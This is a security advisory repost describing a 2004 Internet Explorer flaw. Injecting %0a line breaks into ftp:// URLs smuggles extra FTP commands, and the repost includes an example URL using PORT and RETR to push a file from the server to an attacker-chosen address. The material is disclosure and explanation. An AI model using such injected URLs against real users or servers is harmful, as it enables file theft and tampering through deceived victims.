Microsoft Internet Explorer FTP Command Injection Vulnerability

2008.03.18
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-94


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

Hello ml, I would like to point out that this vulnerability (Microsoft Internet Explorer FTP Command Injection Vulnerability) has been published long time ago, here is the advisory: ------------------------------------ - ------------------------------------------------------------------ 7a69ezine Advisories 7a69Adv#15 - ------------------------------------------------------------------ http://www.7a69ezine.org [05/12/2004] - ------------------------------------------------------------------ Title: Internet Explorer FTP command injection Author: Albert Puigsech Galicia - <ripe (at) 7a69ezine (dot) org [email concealed]> Software: Microsoft Internet Explorer Versions: >= 6.0.2800.1106 Remote: yes Exploit: yes Severity: Low-Medium - ------------------------------------------------------------------ I. Introduction. Internet Explorer is a well-known HTTP browser, and like others it can use more protocols, for example FTP. The security historial of this navigator is really cool and we are glad for the excelent work done by Microsoft. We love your (in)security features. II. Description. In order to access to a server FTP using Internet Explorer you write "ftp://ftpuser:ftppass@server/directory" in the directions's bar and then the navigator connects to the server and executes the following commands (and other that have omitted because they are not important for this stuff). USER ftpuser PASS ftppass CWD /directory/ The security problem resides in which is posible to inject FTP commands on the URL adding at the code %0a followed by your injected commands. If you do "ftp://ftpuser:ftppass@server/directory%0asomecommand%0a" it will execute those commands. USER ftpuser PASS ftppass CWD /directory somecommand The last line is an erroneous command, but it's not a problem because 'somecommand' has already been executed. III. Exploit You need to deceive a user to go to your URL and then to introduce a valid user and password. So yes! The explotation also requires to apply social engineering. Then you can do a lot of things using this bug like create or delete files and directories, but probably, the most interesting thing is to download files. Its posible to do that using this URL; ftp://server/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file Then the server will connect to a.b.c.d and port e,f (see FTP RFC to translate the port number) and will send the file data. IV. Patch Internet Explorer sucks a lot, just turn to Firefox World. V. Timeline 01/12/2004 - Bug discovered on konqueror browser 03/12/2004 - Tried in IE. Also afected! 05/12/2004 - Advisor released VI. Extra data You can find more 7a69ezine advisories on this following link: http://www.7a69ezine.org/avisos/propios [spanish info] ---------------------------------------------- Cheers, kralor


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